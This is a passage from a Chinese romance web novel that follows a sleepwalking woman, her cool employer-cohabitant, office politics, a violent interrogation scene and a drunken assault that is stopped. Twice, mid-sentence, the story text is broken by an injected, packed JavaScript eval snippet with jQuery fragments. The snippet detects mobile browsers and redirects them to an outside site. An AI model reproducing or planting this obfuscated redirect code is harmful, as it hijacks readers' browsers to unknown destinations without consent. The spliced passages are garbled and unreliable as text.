头顶静了两秒。
“别再有下次了。”
傅泠出声警告,然后从她颈后抽出发麻的手,迅速下床去了浴室。
隔着一层磨砂玻璃,哗哗水声从浴室传来,空气里全是丝丝袅袅的热气。
夏虞抬手擦了擦额角的汗,立刻回到小床,将被子叠好,溜回自己的卧室。
--
早餐时,傅泠将她昨晚的“丰功伟绩”简述了一遍。
夏虞越听越沉默。
“那,我有没有说出什么不妥当的话?”她握着把银勺,在粥里无意识搅动着。
傅泠从冰箱里拿出冰牛奶,“当然,有。”
“什…么?”
手中勺子“哐当”掉落,夏虞只觉浑身血液直冲头顶,连声音都变得有些飘了。
“你把银行卡密码给我了。”他走过来,拉开椅子坐下。
悬在嗓子眼的心坠回胸口,夏虞长长地舒了口气。
看样子,她昨晚没说什么不该说的话。
“怎么,不担心吗?”
她笑笑:“反正也没几个钱,再说了,你应该也看不上这歪瓜两枣。”
“你有梦游的习惯?”傅泠喝了口冰牛奶,不再逗她。
“没…”夏虞握住勺子的手稍稍用力,“只有在特别焦虑的时候才会。”
她抬头看向对面的人,“总之,不是经常性的行为。”
傅泠沉默下来。
片刻后,他放下刀叉,从餐桌旁的椅子上,拿起一叠打印纸,递给她。
是一份他的无犯罪记录证明。
夏虞迟缓道:“你这是什么意思?“
“夏小姐,我不是一个坏人,也没做过什么伤天害理的事,你跟我住在一起,不用过于焦虑紧张。”
夏虞心情复杂地接过这份报告,指腹捏着薄薄的边缘,心底涌出一种莫名的荒诞感。
助眠、梦游、无犯罪记录...
为什么桩桩件件听起来都这么悬浮,这么不真实?
她随手翻了下这份资料,便兴致缺缺地放下,没做任何解释,只面无表情地应道。
“傅先生请放心,我会尽快调整自己,尽量不影响您的睡眠。”
--
整个上午都在开会。
工作汇报、头脑风暴,一场连着一场,节奏快到没有喘息的时间。
会议结束,已经是午休时间了。
连续两天的梦游,让夏虞身体疲惫,精神也压力重重。她胃口不佳,喝了几口小米粥,就被许妍拉去楼下买咖啡。
咖啡做好,两人拎着牛皮袋出去,不巧,碰上刚进门的部门老大,钟越。
许妍将墨镜一戴,像看见瘟神,立马拽着夏虞绕道而行。
“没看见人呢?”
钟越在后面不满地出声。
许妍脚下一顿,转身,将墨镜拉下,眼睛往上瞟。
“哟,是钟总啊。”
她摘下墨镜,皮笑肉不笑,“实在不好意思,人太多了,没注意到您。”
钟越鼻腔一哼,冲她发话,“你下午去趟展会。”
“行啊。”许妍一把挽过夏虞,“让小鱼也跟我一起去呗。”
夏虞偏头跟她耳语:“我就不去了吧。”
创意部每天忙得不可开交,工作和生活不分家,钟越才不会让她工作时间出去放风摸鱼。
“行啊。”
钟越却是出乎意料地点头,“你手头的项目快收尾了,事情应该不多,跟她一起去吧,记得多看,多学。”
事出反常必有妖,上司今日这么好说话,让夏虞隐隐生出不好的预感。
但这念头仅仅一闪而过,就被更迫切的焦虑覆盖了过去。眼下最让她心烦意乱的,是梦游的事。
她跟傅泠保证过,这种状况不会持续太久,更不会因此影响到他的睡眠。
可转眼第二个晚上,她便再度“发作”。
若往后的每一天,她都要在那个男人的床上醒来…
这画面,光是想想,就足以让她头皮发麻。
“好的,越哥。”
按下千头万绪,她顺势应下。她需要出去透透气,厘清下解决的思路。
--
展场内人声鼎沸,各色展位堆满琳琅满目的产品。
许妍穿梭其间,边拍照边购物,手里很快拎了一堆购物袋。夏虞却对周遭热闹充耳不闻,只低着头,指尖在手机屏幕上滑动。
搜索框里,全是关于“梦游症”的信息。
“你干嘛呢?”许妍用手肘轻轻撞了她一下,“怎么魂不守舍的。”
“没什么。”
夏虞按熄屏幕,抬起头,目光有些茫然地扫过周围炫目的灯光和攒动的人头。
就在这时,她的视线像是被什么绊了下,倏地定格在右手边一个不算起眼的角落。
那是一个康养展位,布置得简单素净。
在五花八门的保健品旁边,几根黑色带子静默地陈列在绒布上,显得格格不入,又异常醒目。
她不由自主地走近。
那是约束带,粗尼龙材质,配着金属密码锁,包装的小卡上印着一行简洁的广告语。
“防梦游、防自伤。”
--
晚上洗漱后,夏虞便开始研究下午在展场买的黑色约束带。按照说明,带子需从床垫下绕过。
她将头发随手扎起,走到床头,双手扣住床垫边缘,猛地向上一抬。
床垫比预想中轻巧,“嘎吱”一声闷响后,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490641|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
垫子被掀起。她将约束带从下方塞入,拉出,回到床上,将两端对齐。
最后合上搭扣。
大功告成。
她踢掉拖鞋躺上去,将两手伸进冰凉的绑带。“咔哒”一声,搭扣阖上,她整个人被牢牢固定住,像一条被摊在砧板上的鱼。
然而,这种彻底的束缚,竟意外带来一种安全感。她缓缓侧过身,将脊背弓成一只虾米,慢慢闭上了眼睛。
世界渐渐滤去所有杂音。
只剩下耳膜内自己那颗心脏,孤单而有力地跳动。
直到,被一阵“咚咚咚”的敲门声打断。
“稍等。”
她立刻解开搭扣,不慌不忙地下床去开门。
傅泠站在门口,目光扫过她深红的吊带裙,他没见过她穿红色,这颜色挑人,她穿出来,倒是衬得更加明眸皓齿。
她人很瘦,五官明艳,但偏偏面颊两侧又微微鼓起,带了点婴儿肥,恰好中和了那份攻击性的美。
也不知刚才在做什么,白嫩脸颊,渗透出几缕气血很足的红,像颗熟透的荔枝。
“你有什么事吗?”
见傅泠手上拿着个质感厚重的黑色盒子,夏虞微微侧身,让他进来。
门口有面穿衣镜,夏虞转身时,正好瞧见发绳歪了,要掉不掉地,挂在凌乱的低马尾上。
她抬手摘下,顺势用五指梳了梳头,动作间,溢出些丝丝缕缕的香,凉凉的,裹着些许幽微的甜,像夏莲。
并不浓烈。
却令人无法忽视。
傅泠脚下稍顿,而后加快步伐,经过她,走进了房间里。
他瞥了眼床上大张旗鼓的工具,“用来阻止梦游?”
那对工具还没来得及收拾,场面有几分滑稽,夏虞扯出一个腼腆尴尬的笑。
“嗯,想试试。”
“别试了,容易伤到自己。”
“你怎么知道?”
难道他也用过?
“嗯,用过。”
“不但用过。”傅泠故意放慢语速,一字一顿,吓唬她,“还用坏过很多、很多根。”
这款约束带的作用是防梦游,防自伤。他没有梦游的习惯,难道是…自伤?
并且还不止一次的自伤?
见她眉间慢慢聚拢,傅泠倾身过来,稍稍低头,露出眉尾的那道伤。
“这疤,是不是很可怕?”
夏虞面色肉眼可见地沉了下去。
可下一秒,却听他鼻腔里溢出一声轻笑,她抬头一瞧,这男人眼尾上挑。
竟然在笑。
笑她轻易相信别人的愚蠢。
被他骗了!
对上他的眼眸,夏虞平静的语气隐隐生出一些尖刺,“傅先生用的绳子,质量实在不敢恭维,下次还是换个牌子吧。”
对她这毫无杀伤力的反击,傅泠喉间轻哼,不以为意。
“平时习惯用哪只手?”
他将手头的纸盒利落地拆开,盒子仍在一边,拿出里面那块银色的、类似腕表的东西。
“右手。”夏虞说。
“左手给我。”
夏虞乖乖递上自己的左手。
“这是震动报警器,可以用来监测梦游的状态。戴在不常用的那只手上,是为了避免误触。”
他扣住她手腕,指尖擦过她腕骨皮肤,在她温热的脉搏处,轻点了下。
凉得她一颤。
夏虞意外地看了看他,她怎么也没想到,傅泠会亲自给她买这样一个震动器。
看来,这两晚的梦游应该困扰到他了。
事情因她而起,自然没理由拒绝,她只能任由他摆弄,而男人也低着头,神情专注地调整搭扣,没有说话。
房间里只有空调运作的声响,和两人不轻不重的心跳声。
戴好后,傅泠开始调试功能。
“这是餐单键。”
他突然开口,气息扫过她面颊,温热的,痒痒的,夏虞下意识想抽手。
手腕却被他猛地扣住,再用力一拽。
她本就站得松散,被这么一带,直直地向前扑去,瞬间跌入一座气息冷冽的雪山上。
夏虞从胸腔里挤出一声无力的叹息。虽然这男人的身材,的确很棒,但她也不想接二连三地,撞进他怀里。
显得她像是在处心积虑接近他似的。
她本能地想弹开,却被一只手猛地扣住后腰。
“谁让你动了?”
12. Chapter 12
夏虞在心里叹了口气。
她怎么就不能动了?
她还有没有一点人身自由?
也不知道他手底下的人,平时是怎么忍受这个苛刻老板的。
但她没反驳。
只仰起那张明艳精致的小脸,瞬间切换成笑脸,语气是十二分的诚恳。
“傅先生,你好像…违反合约了。”
傅泠怎会不知,她是在提醒自己,距离太近,逾越了。
他垂眸,目光从她如狐狸般狡黠的眸子往下,扫过她“真诚”的笑脸,随即将手从她腰上撤走。
一脱离他的掌控,夏虞立刻往后退去。
一步,又一步。
像是恨不得跟他隔出一个银河系的距离。
傅泠什么也没说,抄着手,安静地注视着她的一举一动,看着她像一只温顺但充满警惕的鹿,一点点逃离猎人的枪口。
“夏小姐记性不错。”
他眉梢微扬,声线沉沉,“但愿你今晚也能安分守己,保,持,距,离。”
丢下这句警告,他漠然地转身离开。
傅泠走后,夏虞肩线一塌,坐回床沿,抬手揉了揉发烫的脸颊。
这份兼职工作看似轻松,实则危险重重,雇主跟变色龙似的,高兴时亲自给她戴手环,不乐意了,又冷得跟个冻死人的冰块。
不过没关系,还有176天。
176天后,她就自由了。
夏虞这样宽慰着自己,床头的闹钟忽然响起,清脆而突兀。
提醒她该过去了。
她赶紧将床上的黑色尼龙带拆解下来,卷起那堆东西,抱在怀中,去了隔壁房间。
虽然刚刚被傅泠恐吓一番,但她还是决定双管齐下。
推门进去,她脚下倏然一顿。
目光投向房间中央。
那架厚重的乌木屏风不见了,取而代之的,是薄薄的隔断帘,一层纯白轻纱,从天花板垂落下来。
“之前的屏风太丑了,碍眼。”傅泠在一旁冷淡出声。
夏虞目光在那层薄纱上停留一瞬,没说什么,只轻声道:“那傅先生,晚安了。”
--
翌日,夏虞还未睁眼,便警觉地嗅到一股不属于她的,干净温热的男性气息。
她攥紧被子,紧张地一点点掀开眼皮。
身下是深灰色床单,一条冷白遒劲的手臂,正横在她头顶。
手臂垂悬床边,修长手指微曲,几乎与她散落在枕上的乌发,缠绕在一起。
她绝望地闭上眼。
还是梦游了。
几秒后她再度睁眼,趁他没醒,得赶紧逃离“事发现场”。
她试图将一只脚先滑出被窝,但腿缠在被单里了,她用脚去拨弄,却意外碰到他小腿温热的肌肤。
脚背瞬间触电般弹开。
静待片刻,确定身旁的气息平稳如常,她才继续动作。
赤脚踏上冰凉的地板上,她猫着腰,长发如瀑垂落,遮掩住半张因为紧张而泛红的脸。
安全着陆,钻进自己的被窝后,夏虞下意识偏头看了眼。
心脏骤停。
傅泠不知何时已经睁了眼,正直直地、毫不避讳地盯着她,安静得如同定格的画面。
他依旧维持着刚才的姿势,慵懒地侧躺着,手臂搭在上方,目光清澈得不像是刚醒。
周身血液冻结。
对视两秒,夏虞以极其缓慢的速度转回脑袋,默默拉起白色的薄被,一点一点,将自己埋了进去。
--
从咖啡店出来,夏虞双手都拎着东西,只能用手背去推厚重的玻璃门,金属门框贴在皮肤上,腕间顿时泛起一阵刺痛。
她低头看了眼,一条暗红色的勒痕赫然醒目,是尼龙绳留下的痕迹。
看来傅泠的确没有骗她,那东西果然会伤到人。
如果连震动器和约束带都没有用,到底该怎么办,去医院看病,然后再吃药吗?
可她一点也不想。
许妍刚好从隔壁煎饼店出来,拎着堆吃的,兴致勃勃跟上来。
“唉小鱼,你知道部门最近进了个不错的新项目…等等,这是手怎么了,怎么红成这样?”
“没什么,不小心撞了下。”
夏虞不动声色地垂下手,袖口滑落,遮住了伤,“对了,你刚刚说什么新项目?”
“哦对,新项目。”
许妍的思路很快被她带回,“听说那项目是西科的,概念新产品新,做好了肯定会拿奖,说不定还能升职加薪。”
“是吗?”
两人并肩走进办公楼,夏虞刷卡开门,对此没有太大反应,“这种项目,应该轮不到我。”
“怎么轮不到,组里就你的项目快收尾了,秦悦那个关系户上月刚接了个大项目,这回怎么也得轮到你了。”
夏虞笑笑,没有接话。
好项目谁都想做,她虽然没什么事业心,但也享受创作的过程,项目底子好,发挥空间大,能带来更多的创作激情。
但她早已习惯被领导塞来别人挑剩的硬骨头。
电梯打开,许妍正要往里冲,看见里头的人,霎时顿住,将早餐背到身后。
“钟总,您今儿来得这么早啊?”
钟越瞥了眼她偷偷摸摸的动作,抬腕看了眼时间,转向夏虞。
“半个小时后来我办公室,新项目的事,跟你通个气。”
夏虞点了点头,“好的,越哥。”
“加班狂神气什么呀!”
许妍冲着领导的背影吐槽,转头又戳了戳夏虞胳膊,“看吧,我就说会给你。”
然而,半个小时后,当夏虞推开钟越的办公室,里头已经坐着一个人。
许妍口中的关系户,秦悦。
她顿了下,走到秦悦对面坐下。
钟越站在办公桌的前端,双手撑桌,视线扫过夏虞和秦悦。
“既然人到齐了,我就开始了。”
“部门进来两个新项目,一个西科的,一个金楠的,我综合看了下这两个项目的风格和体量,思来想去,还是给你们俩比较合适。”
还有金楠的项目?
夏虞握住钢笔的动作一顿,然而对面的秦悦,却是气定神闲地将头发挽到耳后,仿佛早已知晓一切。
“西科的项目,是组里今年的标杆项目。”钟越继续说:“西科的品牌调性和预算,想必大家都清楚,做好了,奖金丰厚,也是申报各类奖项的敲门砖。”
“那这个项目就给…”他拿起桌面的项目资料,视线在夏虞跟秦悦之间徘徊,轻飘飘地道:“给秦悦吧。”
“至于金楠的项目。”他看向夏虞,“就要辛苦小虞了。”
笔尖在草稿纸上戳出一个黑洞,夏虞垂下了睫羽。
虽然从没期待过,但好像,也从未这样失望过。
几年兢兢业业的付出,她不为功利,只求对得起自己,但上司却始终对她的努力,视而不见。
安排完项目,钟越抱着手臂,扫视两人,“各位还有什么疑问?”
秦悦抬起妆容精致的脸,“越哥,我这边没有问题,我一定会好好配合,争取出作品。”
钟越点点头,“嗯,先出去忙吧。”
“好的。”
秦悦抱着笔记本起身,目光投向对面的夏虞,脸上胜利的笑,突然凝住。
她没想到,向来不争不抢的夏虞,竟会对她露出这种冷淡至极的、带着攻击性的眼神。
可那又怎样呢?
项目已经分配好,她不想做,便只有卷铺盖走人。秦悦冲她抿唇笑笑,踩着高跟鞋,趾高气昂地走出会议室。
厚重的木门“吱”一声回弹。
会议室顿时陷入沉默。
钟越瞥了眼安静的夏虞,清了清嗓子,“夏虞,金楠这个项目难度大,交给谁我都不放心。”
“但你不一样,你做过不少同类型的项目,有经验,也能吃苦,我相信你一定能…”
“金楠这个项目是二部的吧?”夏虞冷静地打断他。
钟越微怔,点点头,“嗯,二部人手不够,也没有这种类似的经验,所以也算是我们白捡了一个项目。”
到底是人手不够,还是不想接这个烫手的山芋,大家都心照不宣。
“所以钟总——”
夏虞站起身,看向办公桌后的领导,她的声线不高,却带着从未有过的清冷锐利。
“别人经验不够,我就活该接受不公?”
“因为我能吃苦,就必须一直吃亏?”
“还有,”她的眸光漆黑晶亮,像让人无处遁形的灯,“别人的不作为,凭什么要我买单?”
接连三句的质问,掷地有声,将钟越定在原地。
默了半晌,他才绕过长桌,走到夏虞面前,“夏虞,你从大四起就来星河实习了吧?”
“如果没记错,你是几个实习生里,唯一经过考核留下的。你努力,聪明,能吃别人吃不了的苦,这些我都看在眼里。”
夏虞没有吭声。
他语气放软,“小虞,你想要什么我知道。你放心,这个项目做好了,我不会亏待你的。”
夏虞低头,唇角浮现一抹嘲讽的笑。
她想要什么?升职还是加薪?怎么连她自己都不知道?
须臾的沉默。
钟越手机震动起来,他低头看了眼,又看向夏虞,最终欲言又止,只拍了拍她的肩。
“辛苦了小虞!”
说完这句,他推门离去。
--
回到工位,已经得到消息的许妍,脸色比她还阴沉,袖子一撸,一副要干仗的架势。
“你说秦悦这个关系户,到底是谁送进来的,老娘去跟她拼了…”
窗外,铅灰色的云层压得很低,不多时,骤雨忽至,行人仓促躲雨。
所有人看起来,都不过是上帝眼中的蝼蚁。
“算了,妍妍。”
在许妍愤愤不平的骂声中,夏虞拉开椅子,“事已至此,没用的。”
许妍认真打量夏虞,这姑娘不争不抢的性格,总叫她有些心疼。
“但他也不能这样欺负人啊?”
“有你在,谁敢欺负我?”
夏虞仰头看着比她还生气的许妍。
许妍无奈地叹口气,拿起桌上的光头玩偶,一掌狠狠扇下去,玩偶顿时头颅分离,滚到夏虞脚边。
“行,那就接!遇山开山,遇水架桥,同邪恶势力斗争到底!”
夏虞弯腰,将那颗塑胶材质的脑袋捡起来,瞥见后脑勺上写着三个红色大字。
钟,无,常。
是许妍给钟越取的绰号,黑白无常,可恶的索命鬼。
她笑笑,将头颅按回细长的脖子上,“好。”
但人的忍耐是有限度的。
不会再有下次了。
哪怕她再想过平静的生活,也不会再任由自己被别人捏扁。
桌上的手机在这时突兀地震动起来。夏虞看了眼来电显示,疑惑地接起。
“喂,你好?”
“请问是夏虞小姐吗?我这里是紫荆公寓的物业。”
“我是。”
“有邻居投诉说,这两天有个男人每天都去敲您家的门,说是您的亲戚,上下的邻居意见都挺大的,我们怎么劝也劝不走。”
物业语气委婉,“那个…您能不能抽空回来看看。”
她哪有什么亲戚,还是个男人?
被接连而至的意外轰炸,夏虞感觉自己脑子已经不够用了。
但为了保险起见,她还是决定回去一趟,“不好意思,那我今晚回来。”
--
破败的红砖房里,窗户锈蚀,灯光昏暗,血腥味混着霉味扑面而来。
傅泠朝墙角看去。
一个浑身是血的中年男人躺在地上,手脚都被铁链拴着。苍蝇在溃烂的伤口上,嗡嗡打转。
“还记得我吗?阿森。”
他拎了把凳子,坐在奄奄一息的男人面前,语气无波,眼神却如同看垃圾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16490642|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一般。
地上的人蠕动了下。
随即,以极为缓慢的速度,抬起青紫肿胀的眼皮。
在触碰到傅泠那双深棕色眼眸时,像看见什么惊悚的场景,涣散的瞳仁猛地睁大。
“不...不认识。”
他声带嘶哑,浑身不受控制地剧烈颤抖起来。
傅泠没说话,起身拿过墙角那箱白酒,极有耐心地,一瓶接一瓶,往这个酒鬼的嘴里灌。
直到这人口吐白沫,嘴唇发紫,身体抽搐着发出撕心裂肺的咳嗽。
最后抱头痛哭,语无伦次地求饶:“不是我不是我,大少爷,那件事真的不是我…”
傅泠将空酒瓶随手扔掉,接过保镖阿诺递来的手帕,冷漠又优雅地擦着手。
“阿森,我今天不是来跟你清算旧账的。”
阿森猛地抬头,浑浊的眼里闪过一丝难以置信。
“那你…想…想要什么?”
“陆正邦在东南亚的那家医疗器械公司,仓库在哪?”
阿森视线躲闪:“我…我不知道什么仓库,大少爷,我就是个跑腿的…”
傅泠将擦完的手帕扔还给阿诺,一脚踩在阿森抽搐的腿骨上,剧痛让阿森发出一声压抑的惨嚎。
“陆正邦做的事,是在谋财害命,是在往每一个无辜的人身体里埋炸弹。这些因果,你担得起吗?”
“阿森,我给你两个选择。”
他重新坐回椅子上。
“一,把你知道的,关于那家公司的所有信息都告诉我。我送你和你家人去一个安全的地方。前尘旧账,一笔勾销。”
“二,”傅泠顿了顿,眼神骤冷,“你可以继续当陆正邦的狗。但我保证,他倒台的那一刻,你会是第一个被推出来的替死鬼。”
说完这些,不等阿森回复,傅泠利落地起身,离开了这个腐朽幽暗的房间。
铁门“吱呀”一声被他拉开,烈日涌进,他发冷的身体得到缓和。
正准备抬脚,耳边听见细碎的脚步声。
西边的水龙头旁,站着个八九岁的小女孩,玫红色碎花裙洗得发白,怀里抱着一瓣切好的西瓜。
“叔叔,吃西瓜。”
她颤颤巍巍朝傅泠举起手上的东西。
傅泠蹙眉,用一种像是遇见什么麻烦的目光看着她。
几秒后,他抬脚过去。
“不…不要!”
阿森嘶哑绝望的声音从身后的门缝传来。
傅泠置若罔闻,缓缓走到女孩面前,西瓜的甜香冲淡了他鼻腔残留的血腥味。
“给我的?”
他蹲在女孩面前,与她平视,犀利的目光变得柔和。
女孩点头,睫毛在脸上投下不安的阴影。
傅泠接过西瓜,“谢谢。”
他起身,拿着那瓣西瓜,离开了这座破败的房子。
--
上了车,傅泠将滴水的西瓜往李隽手里一扔,拿出纸巾擦手。
“找个人盯着他。”阴影覆住他半边脸,“别让陆正邦对他下手。”
接过烫手山芋,李隽扔也不是,吃也不是,顺手将西瓜递给前排的司机顾旭东。
“那要是他死也不肯背叛陆正邦呢?”
车窗摇下,风卷着呛人的尘土味灌进,远处山峦浮动,墨绿树影连成一片。
傅泠没有说话,目光森冷地盯着那座郁郁葱葱的榆山。
五年前,那里还是人迹罕至的荒山,他被蒙了眼,捆住手,随着一辆货车到了榆镇。
在榆山底下,他趁人不备逃脱了。
但很不幸,不过半个小时,他就被那群人抓了回来,关在刚刚那间破砖房里,被轮流毒打。
然而幸运的是,因为他中途的逃跑,误了点,他没有被按时送上前往东南亚的船。
也因此,有了第二次逃跑的机会,一路狂奔到隔壁的清溪镇,死里逃生。
李隽没听到动静,回头看了眼,又顺着他的视线,朝对面望去。
“听说对面的榆山,都改成森林公园了,周末一堆人爬山。”
苍翠山影在后视镜里,越来越小,像一块正在愈合的疤。
傅泠收回视线。
“他会答应的。”
脑子里闪过抱着西瓜的小女孩,他转回刚才的话题。
李隽点点头,立刻跟下面的人交代这件事,办妥后,发现傅泠正在聚精会神地翻阅文件。
平时这种时候,他都会用来闭目养神,很少在车里办公。
看来这两天休息得不错。
“唉,夏虞那姑娘到底有什么魔力?”
他感慨,又有些八卦的味道,“这么多年求医问病,都治不好的毛病,还真给她轻而易举就治好了。”
傅泠翻着文件,没抬头,心里却想起她这两天的梦游。
“傅先生,我只有在特别焦虑的时候才会梦游。”
焦虑、紧张…呵,他是什么洪水猛兽吗?
他突然想起什么,抬头吩咐司机说:“老顾,今晚回郊区。”
说罢,他摸出手机,准备给夏虞也交代一声。他不在,她是自由的,若想回家,他也不会拦着。
但电话打过去,却没人接。
他再拨,这回径直被挂断。
沉吟片刻,傅泠点开手机上的某个健康监测软件。
昨天助理将防梦游震动器交给他时,为了示范,暂时将那东西绑定在他的手机上。
那里应该有夏虞各项身体监测的数据,还有她此时此刻的定位。
拇指点开软件,他找到定位地图,是城北的紫荆公寓,她的家。
傅泠若有所思地盯着定位上一动不动的红点。
她是回去拿东西,还是准备今晚就住在公寓?
算了,随她吧。她这几晚都没休息好,回去补个觉也行。
片刻后,正当傅泠准备退出软件,手机突然一震。
屏幕上跳出一条红色警报。
【警报:夏虞女士心率异常(150次/分钟)】
13. Chapter 13
紫荆公寓是十年前建的。
位置偏,紧邻高架桥,环境嘈杂。但因便宜,这里挤满了学生和刚毕业的上班族。
傅泠曾调查过,夏虞从大四起,便独居在这里,后来房东急需一笔钱,便将房子低价卖给她。
“叮——”
电梯在十六层打开。
两边墙上糊了不少小广告,修水龙头的,通下水道的…红色或黑色的粗体字,像牛皮癣一样碍眼。
傅泠从电梯里迈出,嫌弃地看了眼公区环境。
他本不该出现在这里。
毕竟物业信誓旦旦地说她正与亲戚在一起,甚至,还亲眼看见两人一起进门。
她哪来的亲戚?
什么“亲戚”能让她心跳失速到手环发出警报?
他半信半疑,也不该多管闲事,但最终还是让老顾掉了头。
此刻,他站定在长长的走廊,指尖夹着李隽弄来的楼层卡,目光掠过一间间紧闭的房门。
突然。
“砰”一声巨响从左侧某户传来。
像是玻璃砸在地上的爆裂声。
他循声望去。
正好是他的目的地。
1606号。
傅泠将黑色鸭舌帽拉低,踩着马丁靴,快步朝那户走过去。
门是虚掩的。
他侧身朝里面探去。
公寓小得一眼便能望穿,进门是厨房,再往里,起居室与客餐厅毫无过渡地连在一起。
也正因如此,他一眼便注意到白色地板上的那片狼藉,碎玻璃渣四处散落,酒液横流,被腌渍过的青梅滚了满地。
视线往上,他看见了踩在那堆污秽中的两个人。
一个是夏虞,另一个…
原来物业口中的“亲戚”,竟是他那个不成器的弟弟,傅斯洲。
本该在外地出差的人,竟会出现在这里,傅泠倒是有些意外。
看来,傅斯洲对夏虞的感情,比他想象中更深。
但这样分不清轻重的意气用事,简直愚不可及。他唇线微抿,极不赞同地摇了摇头。
不过,从目前情况看,两人已经发生过一次激烈的争执了。
“夏虞——”
傅斯洲的声音从里面传来,他的情绪有种不同寻常的兴奋,紧紧握住夏虞的肩膀,疯了似的,猛烈摇晃起来。
“跟我出国吧!出去后,就没有现在这糟心的一切,你想过什么样的生活都可以…”
“对了,你之前不是想继续读书吗?跟我出去,我养你,只要你愿意,你想做什么都可以,反正你那个破工作,除了让你加班,还有什么价值…”
“我不愿意。”
夏虞重复着,一字一句,平稳,又清晰。
“傅斯洲,我不愿意。”
静了一瞬,傅斯洲喑哑道:“为什么?”
“傅斯洲你听好了,我不喜欢,也不愿意自己的人生被任何人支配。”
“还有。”她顿了顿,轻声说:“我这个人,从不回头。”
透过门缝,傅泠看见她晶亮的眼睛。
那里面没有愤怒,没有委屈,甚至没有厌恶,只有沉静的漠然。
跟那晚在“白夜里”如出一辙。
不是伪装的平静,而是从骨子里透出的疏离,仿佛她只是这场闹剧的旁观者。
那种冷静的、没有一丁点心软的处事方法,根本不像她这个年纪该有的。
她这个人看似好相处,其实骨子里比谁都淡。
--
青梅酒浓烈的味道漂浮在空气里。
夏虞无力地看着脚下那坛被打碎的酒,她一直没舍得开封的酒,这世间最后一坛有着熟悉味道的青梅酒。
在脚下成了一堆污秽。
她暗叹口气,自己是有多蠢,竟会被傅斯洲和物业联手欺骗。
她后悔今天过来。
她不明白,那日在“白夜里”,一切已经交代得明明白白,他为何还是如此执拗地不愿放手。
但事已至此,她只想赶快结束这一切。
“阿洲。”夏虞垂下眼眸,盯着被青梅酒弄脏的白球鞋,“希望你以后,能遇见比我更好的人…”
头顶的呼吸一滞。
“更好的人?”
傅斯洲突然开口,不知受到什么刺激,面色骤然阴沉下来,嘴角扭曲地扬起。
“夏虞,你告诉我,没有我,你算什么?”
夏虞愕然地抬头。
他忽然靠近,浓烈的酒精气息扑面而来,“你拼死拼活加班工作,不就是为了能搬出这种地方吗?你现在跟我清高什么?”
夏虞不可置信地看着面前的人。
那个如煦日般温和的人,此刻变得如此陌生,双眼猩红,面色狰狞,身上找不到半点她熟悉的影子。
“傅斯洲,你喝醉了,你需要醒酒。”
压制住心里的那点火气,夏虞转身,准备去厨房烧水,却被他猛地拽回。后背狠狠撞上木桌,痛得她眼前发黑。
不等她反应,那双滚烫的手已经掐住她的肩膀,带着酒气的唇就要压下。
她偏头闪躲,手在身后摸索,试图找点什么武器来阻止这个被酒精驱使,丧失理智的人。
终于,她碰到一只不锈钢水壶。
她抓起水壶,正要朝发疯的人挥去,一只戴着黑色手套的手,先她一步,精准劈在傅斯洲后颈上。
傅斯洲动作顿住。
他皱了皱眉头,有些茫然地伸手摸了摸后脑勺。
然后,眼睛一闭,缓缓倒了下去。
在他身后,是一张五官深邃,英俊年轻的脸。
傅泠一身黑,站在公寓的餐厅里,薄唇微抿,哪怕帽檐已经将他的情绪隐匿,但夏虞仍然感觉到扑面而来的寒气。
但不知为何,在看见他的那一瞬,夏虞突然就松了下来。
--
傅泠俯身,单手拽起傅斯洲的衣领,像拖一件碍事的家具,将被敲晕的弟弟扔到沙发上。
整个过程,他面色冷然,甚至没多看一眼。
之后,他拨了通电话出去,“上来一趟,叫上老顾。”
李隽跟顾旭东很快上楼。
两人扫视了眼地上争执的痕迹,转头又触及帽檐下冷淡的视线,当即噤声,只交换了个心照不宣的眼神。
“找个附近的诊所丢进去,就说是在路边捡的。”傅泠的声音里没有半分情绪。
李隽嫌弃地捞起傅斯洲一只胳膊,朝顾旭东支了支下巴。顾旭东无语,索性将人拽起来,直接扛在肩上。
两人一前一后迅速撤出,离开前,李隽还特意带上了房门。
“咔哒。”
一声轻响,交叠的脚步声渐渐远去,公寓重回安静。
像是什么也不曾发生过。
傅泠站在客厅的沙发旁,目光越过一地狼藉,落在餐桌旁的那个身影上。
夏虞仍然站在那里,低着头,紧紧抱着手肘,两只脚都踩在酒里,眼中没有一丝一毫的惊惶。
只是很静。
除了静,别无其它。
像一潭被搅浑的池水,在安安静静地等待着泥沙沉底,让自己重新变得清澈。
整个房子里都是湿重的青梅酒味道,甜腻,酸涩,微微有些呛鼻。
他踩过一地的碎玻璃,走到她面前站定,垂眸凝视她片刻,而后伸出手,声音低沉。
“过来。”
夏虞像是没听见,须臾后,她突然蹲下身,去捡地上的一颗梅子。
“这梅子酒的基酒是我妈酿的,这是最后一坛了。”
她声音很轻,鼻尖有些发红,眼睛是湿润的,“不过,现在连这最后一点...也没了。”
她将地上的梅子一粒一粒捡起来,放在掌心。手太小,空间不够,捡起这粒,又掉了那粒。
即便如此,她还是不断重复这个无用的动作。
身上的衣服被弄得沾满酒水和灰尘。
帽檐下,傅泠的眉峰往下压了压。
他站在一旁静静地看着她,看着她徒劳的动作。
片刻后,他突然俯身,一把攥住她的手腕。
“别捡了。”
力道不轻,夏虞被他这
